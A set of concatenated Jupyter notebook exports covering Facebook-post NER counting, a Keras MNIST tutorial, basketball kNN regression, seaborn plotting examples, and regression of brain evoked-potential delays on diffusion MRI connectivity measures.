\"https://localhost:8080/\"} id=\"N0svLlcMUhve\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734799574, \"user_tz\": 300, \"elapsed\": 47, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}} outputId=\"c0b2d0f6-ec1b-44af-966d-f5e8469e57f1\"\nct_ner['NER'] = ct_ner['NER'].apply(lambda x: [s.lower() for s in x])\n\n# + id=\"FYwcA_kzUkRG\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734799574, \"user_tz\": 300, \"elapsed\": 44, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}}\nner_lst = ct_ner['NER'].values\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"9GLqkW0VUmO9\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734799574, \"user_tz\": 300, \"elapsed\": 45, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}} outputId=\"017f0546-091e-4c52-c1c5-48a392cdccc9\"\nner_lst\n\n# + id=\"A1kjWpB3UrIZ\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734799575, \"user_tz\": 300, \"elapsed\": 43, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}}\nm=0\nlist=[]\nfor n in ner_lst:\n for i in range(len(n)):\n list.append(ner_lst[m][i])\n m+=1\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"ZWHPyaHDUs3_\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734799575, \"user_tz\": 300, \"elapsed\": 42, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}} outputId=\"53b854b5-e10f-4650-c6f2-bb7a8f0068a7\"\nlist\n\n# + id=\"3Dmnc8aAUowi\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734799576, \"user_tz\": 300, \"elapsed\": 38, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}}\nc = collections.Counter()\n\n# + id=\"SIEYj5deUvFF\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734799576, \"user_tz\": 300, \"elapsed\": 37, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}}\ndict_a=collections.Counter(list).most_common()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"oB-hX3wGUwdf\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734799576, \"user_tz\": 300, \"elapsed\": 37, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}} outputId=\"661d6365-cf2c-48d2-a958-01167f90d6c9\"\ndict_a\n\n# + id=\"EDDwQFsVUynI\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734799577, \"user_tz\": 300, \"elapsed\": 22, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}}\ndataframe611=pd.DataFrame(dict_a)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"VLyU12P4Uz3K\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734799577, \"user_tz\": 300, \"elapsed\": 22, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}} outputId=\"7c8ee8e4-1150-42c1-9f35-980b90387ba3\"\nlen(dict_a)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"GUSS4W1HWXbN\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734799577, \"user_tz\": 300, \"elapsed\": 11, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}} outputId=\"872bb674-b9c4-4a47-b5bf-9131553e1de7\"\n# %cd dataframe_csv\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"1CrurzJtWdHc\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734799759, \"user_tz\": 300, \"elapsed\": 191, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}} outputId=\"eb93e9d0-4dec-4d13-a66b-cb29743a7e4d\"\n# !ls\n\n# + id=\"ISUufyZgU1sS\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734799761, \"user_tz\": 300, \"elapsed\": 13, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}}\ndataframe611.to_csv('dataframe0612.csv')\n\n# + id=\"J5YIX4dFlgyp\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734799762, \"user_tz\": 300, \"elapsed\": 13, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}}\n\n","repo_name":"XizhiW/Detecting-facebook-post-locations-main","sub_path":"code/heatmap612.ipynb","file_name":"heatmap612.ipynb","file_ext":"py","file_size_in_byte":19811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"12"} +{"seq_id":"72426672340","text":"# # Tensorflow2.0 keras + MNIST + Flatten layer + history + Dropout\n\n# +\n\n\nimport tensorflow as tf # ver2.x\nfrom tensorflow.keras.datasets.mnist import load_data # ver2.x dataset\nfrom sklearn.datasets import load_iris\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import minmax_scale # x변수 전처리\nfrom tensorflow.keras.utils import to_categorical # 원핫코딩과 비슷한것, y변수 전처리\nfrom tensorflow.keras import Sequential # model 생성\nfrom tensorflow.keras.layers import Dense, Flatten, Dropout# , Flatten # layer 생성\nfrom tensorflow.keras.models import load_model # model save/load\nfrom sklearn.metrics import accuracy_score\n\n\n\n# +\n# 1. x, y 공급 data \n(x_train, y_train), (x_val, y_val) = load_data()\nx_train.shape # image # (60000, 28, 28) # 3없음:색깔없음\ny_train.shape # labels # (60000,)\n\n# x변수 전처리 : 정규화\nx_train[0] # 0~255숫자가 28x28행렬형태\nx_train = x_train/255. # 255. 으로 나누어줌으로써 실수로 변경\nx_val = x_val/255.\n\n\n# y변수 : one hot encoding\ny_train = to_categorical(y_train) # y변수 전처리 : one hot encoding\ny_val = to_categorical(y_val)\ny_train.shape # (60000, 10)\n\n# 2. keras model 생성\nmodel = Sequential()\nmodel # object info\n\n# +\n\n# 3. model layer\n'''\nmodel.add(Dense(node수, input_shape, activation)) # hidden layer1\nmodel.add(Dense(node수, activation)) # hidden layer1 ~ n\n'''\n\ninput_shape = (28, 28)\n\n# Flatten layer 2d(28,28) -> 1d(784)\nmodel.add(Flatten(input_shape = input_shape)) # 0층\n\n# hidden layer1 = [784,128] \nmodel.add(Dense(128, input_shape = (784,), activation = 'relu')) # 1층\nDropout(rate=0.5) # node 50% 제거\n# hidden layer2 = [128,64]\nmodel.add(Dense(64, activation = 'relu')) # 2층\nDropout(rate=0.3)\n# hidden layer3 = [64,32]\nmodel.add(Dense(32, activation = 'relu')) # 3층\nDropout(rate=0.3)\n# output layer2 = [32,10]\nmodel.add(Dense(10, activation = 'softmax')) # 4층 : Dropout(x)\n\n\n# 4. model compile : 학습환경 설정\nmodel.compile(optimizer = 'adam', # 최적화 알고리즘(lr 생략)\n loss = 'categorical_crossentropy', # 손실\n metrics=['accuracy']) # 평가 방법\n\n# layer 확인\nmodel.summary()\n\n# -\n\n# 5. model training b: train(112) vs val(38)\nmodel_fit = model.fit(x=x_train, y=y_train, # 학습용\n epochs=15,\n verbose=1, # 학습과정 횟수\n validation_data=(x_val, y_val) # 평가용\n )\n\n\n# +\n \n\n# 6. model history\nprint(model_fit.history.keys()) \n# dict_keys(['loss','accuracy','val_loss','val_accuracy'])\ntrain_loss = model_fit.history['loss']\ntrain_acc = model_fit.history['accuracy']\nval_loss = model_fit.history['val_loss']\nval_acc = model_fit.history['val_accuracy']\n\n\nimport matplotlib.pyplot as plt\n\n# train vs val loss\nplt.plot(train_loss, c='y', label='train loss')\nplt.plot(val_loss, c='r', label='val loss')\nplt.legend(loc='best')\nplt.xlabel('epochs')\nplt.show()\n\n# train vs val accuracy\nplt.plot(train_acc, c='y', label='train accuracy')\nplt.plot(val_acc, c='r', label='val accuracy')\nplt.legend(loc='best')\nplt.xlabel('epochs')\nplt.show()\n\n\n","repo_name":"eatchu/Tensorflow-DeepLearning","sub_path":"chap06_Keras_Model/.ipynb_checkpoints/step04_keras_mnist_DNN_history_dropout-checkpoint.ipynb","file_name":"step04_keras_mnist_DNN_history_dropout-checkpoint.ipynb","file_ext":"py","file_size_in_byte":3117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"12"} +{"seq_id":"34199350186","text":"# +\n#Razleen Kakar\n#ML for Capstone Project\n\n#import libraries\nimport pandas\nimport numpy\nimport matplotlib.pyplot as plt\n# %matplotlib inline\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.datasets import fetch_lfw_people\nfrom sklearn.metrics import accuracy_score\nfrom sklearn import metrics\nfrom sklearn.svm import SVC\nfrom time import time\nfrom itertools import product\n# -\n\n# import Teams Data\ndata = pandas.read_csv('TeamData.csv') #This needs to be updated to refelct the database created.\npandas.set_option('display.max_columns', 100)\ncurrentTeams = (data[(data['To'] == '2020-21')]) #Filter current teams\nteamsData = currentTeams[[\"Franchise\", \"G\",\"W\",\"L\",\"Yrs\", \"W/L%\", \"Plyfs\", \"Div\", \"Conf\", \"Champ\"]] #Display needed columns\nteamsData = teamsData.dropna(axis=0) #Drop missing data\nteamsData\n\nidx = teamsData.groupby(['Franchise'])['Yrs'].transform(max) == teamsData['Yrs']\nidx\n\n# +\n#Create KNN Regression\n\ndata = teamsData\n\ndef regression_kNN(new_example,train_data,k):\n \n train_data_copy = train_data.copy()\n train_data_copy['distance_to_new'] = numpy.sqrt(\n (new_example['Franchise']-train_data_copy['Franchise'])**2 #Predictor Var.\n +(new_example['L']-train_data_copy['L'])**2\n +(new_example['W/L%']-train_data_copy['W/L%'])**2\n +(new_example['Plyfs']-train_data_copy['Plyfs'])**2\n +(new_example['Div']-train_data_copy['Div'])**2\n +(new_example['Conf']-train_data_copy['Conf'])**2\n +(new_example['Champ']-train_data_copy['Champ'])**2)\n sorted_data = train_data_copy.sort_values(['distance_to_new'])\n prediction = sorted_data.iloc[0:k]['W'].mean() #target feature\n return prediction\n\ndef regression_all_kNN(test_data,train_data,k):\n return test_data.apply(regression_kNN,args=(train_data,k),axis=1)\n\ndef Rsquared(actual,predicted):\n ybar = actual.mean()\n SSres = ((actual-predicted)**2)\n res = SSres.sum()\n SStot = ((actual-ybar)**2)\n tot = SStot.sum()\n Rsquared = 1-(res/tot)\n return Rsquared\n\n\n# +\nshuffled_data = data.sample(frac=1)\n\ntest_data = shuffled_data.iloc[0:200]\ntrain_data = shuffled_data.iloc[200:]\n\npredictions = regression_all_kNN(test_data,train_data,5)\nprint(test_data['W'])\nprint(predictions)\nRsquared(test_data['W'],predictions)\n\n# +\nimport matplotlib.pyplot as plt\n# %matplotlib inline\n\n\ndata = teamsData\n\nshuffled_data = data.sample(frac=1)\n\ntest_data = shuffled_data.iloc[0:200]\ntrain_data = shuffled_data.iloc[200:]\n\n#Run this for several different splits of the data\n#-- varying the number of elements in the testing data and/or different values for the \"random_state\". \nk_vals = [1,3,5,9,15,21,31,51,101,129]\nkNN_r2 = []\n\nfor k in k_vals:\n\n predictions = regression_all_kNN(test_data,train_data,k)\n current_Rsquared = Rsquared(test_data['W'],predictions)\n kNN_r2.append(current_Rsquared)\n\n\nplt.suptitle('Teams Data k-NN Experiment',fontsize=20)\nplt.xlabel('k')\nplt.ylabel('Rsquared')\nplt.plot(k_vals,kNN_r2,'ro-',label='k-NN')\nplt.legend(loc='upper right', shadow=True)\nplt.axis([0,200,0,1])\nplt.show()\n# -\n\n\n","repo_name":"manleydrake/ML_Bets","sub_path":"ML Algo Code/Capstone.ipynb","file_name":"Capstone.ipynb","file_ext":"py","file_size_in_byte":3044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"12"} +{"seq_id":"74983647379","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\ntips = sns.load_dataset('tips')\n\n# +\nsns.catplot(x='smoker', y = 'total_bill', kind = 'bar', data = tips)\n\n# Black line is called confidence interval\n# -\n\nsns.catplot(x = 'smoker', y = 'total_bill', hue = 'sex', kind = 'bar', data = tips)\n\nsns.catplot(x = 'smoker', y = 'total_bill', hue = 'sex', estimator = np.median, kind = 'bar', data = tips)\n\nsns.catplot(x = 'sex', kind = 'count', data = tips)\n\nsns.catplot(x = 'sex', hue = 'smoker', kind = 'count', data = tips)\n\n# # Heatmaps\n\n# A heatmap is geagraphical representation of data where the individual values contained in a matrix are represented as colors\n\nflights = sns.load_dataset('flights')\n\nflights.head()\n\nx = flights.pivot_table(index = 'year', columns = 'month', values = 'passengers', aggfunc = 'sum')\n\nx\n\nsns.heatmap(x)\n\nsns.heatmap(x, cbar = False)\n\nsns.heatmap(x, cbar = False, linewidth = 0.5)\n\nsns.heatmap(x, cbar = False, linewidth = 0.5, annot = True, fmt = 'd')\n\nsns.heatmap(x, cbar = False, linewidth = 0.5, annot = True, fmt = 'd', cmap = 'viridis')\n\nsns.heatmap(x, cbar = False, linewidth = 0.5, annot = True, fmt = 'd', cmap = 'summer')\n\n# # Clustermaps\n#\n# #Clustermap makes similiar rows and columns together\n\nsns.clustermap(x)\n\nsns.clustermap(x, metric = 'correlation')\n\nsns.clustermap(x, z_score=0, annot = True, metric = 'correlation')\n\nsns.clustermap(x, z_score=0, annot = True, row_cluster = False, metric = 'correlation')\n\nsns.clustermap(x, z_score=0, annot = True, col_cluster = False, metric = 'correlation')\n\n# # Jointplots\n\n# Jointplots creates a multi-panel figure that shows both the bivariate(or joint) relationship between two variables along with the univariate(or marginal) distribution of each on separate axes.\n#\n# We can use jointplots in the following 4 manners:\n# 1. Scatterplots\n# 2. HexbinPlots\n# 3. Kdeplots\n# 4. Regplots\n\ntips = sns.load_dataset('tips')\n\ntips\n\nsns.jointplot(x = 'total_bill', y = 'tip', data = tips)\n\n# +\nsns.jointplot(x = 'total_bill', y = 'tip', kind = 'hex', data = tips)\n\n#Hexplot is 2-D Scatterplots\n# -\n\nsns.jointplot(x='total_bill', y = 'tip', kind = 'kde', data = tips)\n\nsns.jointplot(x = 'total_bill', y = 'tip', kind = 'reg', data = tips)\n\n\n\n\n\n\n\n\n","repo_name":"Abhiraju007/DataScience-Full-Stack","sub_path":"6 Months Data Science/Seaborn/Barplot, Countplot and heatmap,Clustermaps, Jointplots.ipynb","file_name":"Barplot, Countplot and heatmap,Clustermaps, Jointplots.ipynb","file_ext":"py","file_size_in_byte":2271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"12"} +{"seq_id":"16615417365","text":"# +\nimport stepwise_regression.step_reg as step_reg\nfrom pyCompare import blandAltman\n\nfrom scipy.stats import pearsonr, spearmanr\nfrom scipy.special import logit\n\nfrom sklearn import linear_model\nfrom sklearn import svm\nfrom sklearn import ensemble\n\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\nfrom sklearn.metrics import mean_squared_error, r2_score\nfrom sklearn.model_selection import KFold\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nimport seaborn as sns\n\n# %matplotlib inline\n\n# +\nfile_suffix = \"_after_shift_p150.csv\"\n# file_suffix = \"_after_shift_stimulation_site.csv\"\n\n# %run load_connectivity_data.ipynb\n# -\n\npatient_ids = [1, 4, 6, 7, 10, 11, 12]\n\n\n# +\nmacrostructural_conn_measures = [\n 'streamlines_num', 'min_len', 'median_len', 'smoothwm_surf_dist'\n]\n\nmicrostructural_conn_measures = [\n 'mean_fa', 'mean_md', 'mean_ad', 'mean_rd', \n 'mean_rtop', 'mean_rtpp', 'mean_msd', 'mean_qiv', 'ng', 'ng_perp', 'ng_par'\n]\n\neffective_conn_measures = [\n 'p1_delay', 'p1_value'\n]\n\n\n# +\ndef get_patient_data_set(patient_id, structural_conn, effective_conn):\n\n data_set = data_pd[patient_id].loc[np.abs(data_pd[patient_id][effective_conn]) > 0]\n\n input_variables = data_set[structural_conn]\n \n if 'streamlines_num' in structural_conn:\n input_variables['streamlines_num'] = -np.log10(1 + data_set[['streamlines_num']])\n \n if 'mean_rtop' in structural_conn:\n input_variables['mean_rtop'] = np.power(np.maximum(0, data_set[['mean_rtop']]), 1.0/3)\n \n if 'mean_rtap' in structural_conn:\n input_variables['mean_rtap'] = np.power(np.maximum(0, data_set[['mean_rtap']]), 1.0/2)\n \n output_variable = data_set[[effective_conn]]\n \n return input_variables, output_variable\n\n\ndef modify_data_for_amplitude(input_variables, output_variable, structural_conn):\n\n inverse_values = ['streamlines_num', 'min_len', 'median_len', 'smoothwm_surf_dist']\n \n for inverse_value in inverse_values:\n if inverse_value in structural_conn:\n input_variables[inverse_value] = 1.0 / (1 + input_variables[inverse_value])\n \n output_variable[['p1_value']] = np.sqrt(1e06 * np.abs(output_variable[['p1_value']]))\n\n return input_variables, output_variable \n\n\ndef get_data_set(patient_ids, structural_conn, effective_conn = 'p1_delay'):\n\n input_variables_vector = []\n output_variable_vector = []\n \n for patient_id in patient_ids:\n x, y = get_patient_data_set(patient_id, structural_conn, effective_conn)\n \n if effective_conn == 'p1_value':\n x, y = modify_data_for_amplitude(x, y, structural_conn)\n \n input_variables_vector.append(x)\n output_variable_vector.append(y)\n \n return pd.concat(input_variables_vector), pd.concat(output_variable_vector)\n \n \n# -\n\ndef get_batch_patient_ids(patient_dataset_ids):\n\n batch_patient_ids = []\n\n for test_patient_id in patient_dataset_ids:\n train_patient_ids = patient_dataset_ids.copy()\n train_patient_ids.remove(test_patient_id)\n batch_patient_ids.append([train_patient_ids, [test_patient_id]])\n\n return batch_patient_ids\n\n\n\ndef bland_altman_plot(data1, data2, *args, **kwargs):\n data1 = np.asarray(data1)\n data2 = np.asarray(data2)\n mean = np.mean([data1, data2], axis=0)\n diff = data1 - data2 # Difference between data1 and data2\n md = np.mean(diff) # Mean of the difference\n sd = np.std(diff, axis=0) # Standard deviation of the difference\n\n plt.scatter(mean, diff, *args, **kwargs)\n plt.axhline(md, color='gray', linestyle='--')\n plt.axhline(md + 1.96*sd, color='gray', linestyle='--')\n plt.axhline(md - 1.96*sd, color='gray', linestyle='--')\n\n\ndef get_squared_error(effective_var, test_y, pred_y):\n test_y = np.squeeze(test_y)\n pred_y = np.squeeze(pred_y)\n \n if effective_var == 'p1_delay':\n return (test_y - pred_y) ** 2\n \n elif effective_var == 'p1_value':\n return (test_y ** 2 - pred_y ** 2) ** 2\n \n\n\n# +\ndef prediction_summary(regr, patient_ids, macrostructural_var, microstructural_vars, effective_var):\n\n input_data_sets = [\n [macrostructural_var], \n [macrostructural_var] + microstructural_vars,\n ]\n \n input_data_sets_labels = ['macro only', 'macro and micro', 'micro only']\n \n print(macrostructural_var.upper())\n\n for i in range(len(input_data_sets)):\n \n r2_scores = []\n squared_errors = []\n for batch in get_batch_patient_ids(patient_ids):\n \n train_x, train_y = get_data_set(batch[0], input_data_sets[i], effective_var)\n test_x, test_y = get_data_set(batch[1], input_data_sets[i], effective_var)\n\n regr.fit(train_x, train_y)\n pred_y = regr.predict(test_x)\n\n r2_scores.append(r2_score(np.squeeze(test_y.values), pred_y))\n \n squared_errors.extend(\n get_squared_error(effective_var, test_y.values, pred_y)\n )\n \n# print(r2_scores)\n print(\"%s\\tR2 = %.2f +/- %.2f\\tRMSE = %.0f +/- %.0f\" % (\n input_data_sets_labels[i], \n np.mean(r2_scores), np.std(r2_scores),\n np.sqrt(np.mean(squared_errors)), np.sqrt(np.std(squared_errors)),\n ))\n \n \n\n# +\ndef linear_prediction_summary(patient_ids, macrostructural_var, microstructural_vars, effective_var, stepwise = True):\n\n if stepwise:\n\n x, y = get_data_set(\n patient_ids, \n [macrostructural_var] + microstructural_vars, \n effective_var\n )\n input_data_sets = [\n [macrostructural_var], \n step_reg.forward_regression(x, y, 0.05) # 0.25)\n ]\n print(input_data_sets)\n \n else:\n \n input_data_sets = [\n [macrostructural_var], [macrostructural_var] + microstructural_vars\n ]\n \n \n input_data_sets_labels = ['macrostructure only', 'macro- and microstructure', 'microstructure only']\n \n regr = linear_model.LinearRegression()\n print(macrostructural_var.upper())\n\n result = [] \n for i in range(len(input_data_sets)):\n \n r2_scores = []\n squared_errors = []\n\n all_pred_y = []\n all_test_y = []\n \n plt.figure(figsize=(7, 4))\n \n for batch in get_batch_patient_ids(patient_ids):\n \n train_x, train_y = get_data_set(batch[0], input_data_sets[i], effective_var)\n test_x, test_y = get_data_set(batch[1], input_data_sets[i], effective_var)\n\n regr.fit(train_x, train_y)\n pred_y = regr.predict(test_x)\n\n r2_scores.append(r2_score(np.squeeze(test_y.values), np.squeeze(pred_y)))\n squared_errors.extend(\n get_squared_error(effective_var, test_y.values, pred_y)\n )\n \n all_pred_y.extend(np.squeeze(pred_y))\n all_test_y.extend(np.squeeze(test_y.values))\n \n print(r2_scores)\n print(\"%s\\tR2 = %.2f +/- %.2f\\tRMSE = %.0f +/- %.0f\" % (\n input_data_sets_labels[i], \n np.mean(r2_scores), np.std(r2_scores),\n np.sqrt(np.mean(squared_errors)), np.sqrt(np.std(squared_errors)),\n ))\n \n result.append([\n np.mean(r2_scores), np.std(r2_scores),\n np.sqrt(np.mean(squared_errors)), np.sqrt(np.std(squared_errors)),\n ])\n \n # p1 delays\n bland_altman_plot(all_pred_y, all_test_y, color = \"C0\")\n plt.xlim([15, 60])\n plt.ylim([-30, 30])\n plt.ylabel(\"Pred. P1 delays $-$ Meas. P1 delays [ms]\")\n plt.xlabel(\"(Predicted P1 delays $+$ Measured P1 delays) / 2 [ms]\")\n\n# # p1 amplitudes\n# bland_altman_plot(np.array(all_pred_y) ** 2, np.array(all_test_y) ** 2, color = \"C0\")\n# plt.ylim([-1100, 800])\n# plt.ylabel(\"Pred. P1 ampl. $-$ Meas. P1 ampl. [µV]\")\n# plt.xlabel(\"(Predicted P1 amplitudes $+$ Measured P1 amplitudes) / 2 [µV]\")\n\n plt.savefig(\"%s batch.pdf\" % (input_data_sets_labels[i]), bbox_inches = 'tight')\n plt.savefig(\"%s batch.eps\" % (input_data_sets_labels[i]), bbox_inches = 'tight')\n \n return result\n\n\n# +\ndef fix_dim(data):\n\n data = np.array(data)\n if data.ndim < 2:\n data = data.reshape(-1, 1)\n return data\n\n\ndef intersubject_prediction_summary(patient_id, macrostructural_var, microstructural_vars, effective_var):\n \n kf = KFold(n_splits=2)\n \n input_data_sets = [\n [macrostructural_var], \n [macrostructural_var] + microstructural_vars,\n ]\n\n for i in range(len(input_data_sets)):\n\n x, y = get_patient_data_set(patient_id, input_data_sets[i], effective_var)\n x = np.squeeze(x.values)\n y = np.squeeze(y.values)\n \n r2_scores = []\n for train_idx, test_idx in kf.split(x):\n train_x, test_x = fix_dim(x[train_idx]), fix_dim(x[test_idx])\n train_y, test_y = y[train_idx], y[test_idx] \n\n# regr = ensemble.RandomForestRegressor()\n# regr = ensemble.GradientBoostingRegressor()\n regr = linear_model.LinearRegression()\n# regr = svm.SVR()\n\n regr.fit(train_x, train_y)\n pred_y = regr.predict(test_x)\n\n squared_error = (test_y - pred_y) ** 2\n\n# r2_scores.append(r2_score(train_y, regr.predict(train_x)))\n r2_scores.append(r2_score(test_y, pred_y))\n \n# if i == 0:\n# plt.figure()\n# bland_altman_plot(np.squeeze(pred_y), np.squeeze(test_y))\n# plt.scatter(np.squeeze(train_x), train_y)\n# plt.scatter(np.squeeze(test_x), test_y)\n \n print(\"#%02d\\tR2 = %.2f +/- %.2f\" % (patient_id, np.mean(r2_scores), np.std(r2_scores)))\n \n \n\n# +\nfor macrostructural_conn_measure in macrostructural_conn_measures:\n print(macrostructural_conn_measure.upper())\n\n for patient_id in patient_ids:\n \n intersubject_prediction_summary(\n patient_id, \n macrostructural_conn_measure, \n ['ng'], \n effective_conn_measures[0]\n )\n \n\n# x, y = get_patient_data_set(patient_id, [macrostructural_conn_measures[1]], effective_conn_measures[0])\n\n# np.squeeze(x.values)[[0, 1, 2]]\n# -\n\n\n\n\n\n\n\n# # Prediction of P1 delays\n\n# +\n# regr = ensemble.RandomForestRegressor(random_state = 123)\nregr = ensemble.GradientBoostingRegressor(random_state = 123)\n# regr = svm.SVR()\n\nfor macrostructural_conn_measure in macrostructural_conn_measures:\n prediction_summary(\n regr, patient_ids,\n macrostructural_conn_measure, \n microstructural_conn_measures,\n effective_conn_measures[0]\n )\n# -\n\nfor macrostructural_conn_measure in macrostructural_conn_measures:\n linear_prediction_summary(\n patient_ids,\n macrostructural_conn_measure, \n microstructural_conn_measures,\n effective_conn_measures[0],\n stepwise=True\n )\n\n# # Prediction of P1 amplitudes\n\n# +\n# regr = ensemble.RandomForestRegressor(random_state = 123)\n# regr = ensemble.GradientBoostingRegressor(random_state = 123)\nregr = svm.SVR()\n\nfor macrostructural_conn_measure in macrostructural_conn_measures:\n prediction_summary(\n regr, patient_ids,\n macrostructural_conn_measure, \n microstructural_conn_measures,\n effective_conn_measures[1]\n )\n# -\n\nfor macrostructural_conn_measure in macrostructural_conn_measures:\n linear_prediction_summary(\n patient_ids,\n macrostructural_conn_measure, \n microstructural_conn_measures,\n effective_conn_measures[1]\n )\n\n\n\n\n\n\n\n\n\n# # Prediction accuracy for P1 delays\n\n# +\nresults = {}\npercentiles = [10, 20, 30, 40, 50, 60, 70, 80, 90, 100, 110, 120, 130, 140, 150, 160, 170, 180, 190]\n\nfor percentile in percentiles:\n\n file_suffix = \"_after_shift_p%02d.csv\" % percentile\n # %run load_connectivity_data.ipynb\n \n results[percentile] = linear_prediction_summary(\n patient_ids, 'min_len', \n ['mean_fa', 'ng_perp', 'mean_qiv', 'mean_rtpp'],\n effective_conn_measures[0],\n stepwise = False\n ) \n\nfile_suffix = \"_after_shift_stimulation_site.csv\"\n# %run load_connectivity_data.ipynb\n\nresults['site'] = linear_prediction_summary(\n patient_ids, 'min_len',\n microstructural_conn_measures,\n effective_conn_measures[0],\n stepwise = True\n) \n \n\n# +\ndata = [results[percentiles[0]][0]]\n\nfor percentile in percentiles:\n data.append(results[percentile][1])\n\n# data.append(results['site'][1]) \n\ndata = np.array(data)\n\n# +\nfig = plt.figure(figsize=(7, 3))\n\nax1 = fig.add_subplot(111)\n\n# plt.plot([8.5, 8.5], [-1, 1], color=\"black\", linestyle=\"dashed\")\n# plt.plot([11.5, 11.5], [-1, 1], color=\"black\", linestyle=\"dashed\")\n\nplt.fill_between([8.5, 11.5], -1, 1, color=\"lightgray\")\n\nsns.pointplot(\n data = np.array([data[:, 0], data[:, 0] - data[:, 1], data[:, 0] + data[:, 1]]),\n ci = 100, color=\"C3\"\n)\nplt.xticks(np.arange(0, len(percentiles) + 1), np.array(np.maximum(100, [0] + percentiles)) - 100)\nplt.xlabel(\"Lower limit of streamline lengths [in percentiles]\", labelpad=10)\nplt.ylabel(\"Mean $R^2$ +/- STD\")\nplt.grid(True)\n\nplt.ylim([-0.22, 0.42])\n\n\nax2 = ax1.twiny()\nax2.set_xlim([0, len(percentiles) + 1])\nax2.set_xticks(0.5 + np.arange(0, len(percentiles) + 1))\nax2.set_xticklabels(np.minimum(100, [0] + percentiles))\nax2.set_xlabel(\"Upper limit of streamline lengths [in percentiles]\", labelpad=16)\n\nplt.savefig(\"p1_delay_prediction_r2.pdf\", bbox_inches = 'tight')\nplt.savefig(\"p1_delay_prediction_r2.eps\", bbox_inches = 'tight')\n\n# plt.savefig(\"p1_amplitude_prediction_r2.pdf\", bbox_inches = 'tight')\n# plt.savefig(\"p1_amplitude_prediction_r2.eps\", bbox_inches = 'tight')\n\n\n\n# +\nresults = {}\npercentiles = [100] # [10, 20, 30, 40, 50, 60, 70, 80, 90, 100]\n\nfor percentile in percentiles:\n\n file_suffix = \"_after_shift_p%02d.csv\" % percentile\n # %run load_connectivity_data.ipynb\n \n results[percentile] = linear_prediction_summary(\n patient_ids, 'min_len', \n ['mean_fa', 'ng_perp', 'mean_qiv', 'mean_rtpp'],\n effective_conn_measures[0],\n stepwise = False\n ) \n\n# file_suffix = \"_after_shift_stimulation_site.csv\"\n# # %run load_connectivity_data.ipynb\n\n# results['site'] = linear_prediction_summary(\n# patient_ids, 'min_len',\n# microstructural_conn_measures,\n# effective_conn_measures[0],\n# stepwise = True\n# ) \n \n\n# +\nfrom scipy import stats\n\nr2_macro_only = [-0.439822717928672, 0.13669162597677076, 0.3621094899710873, 0.4579300471071568, 0.2092946925006438, -0.0480023948430186, 0.06671135150913099]\nr2_macro_and_micro = [-0.10789551875897496, 0.24528954213211085, 0.27876076882000933, 0.3558765177860189, 0.22895688999831199, 0.22158835830842583, 0.3238637772837545]\n\nstats.ttest_rel(r2_macro_only, r2_macro_and_micro)\n# 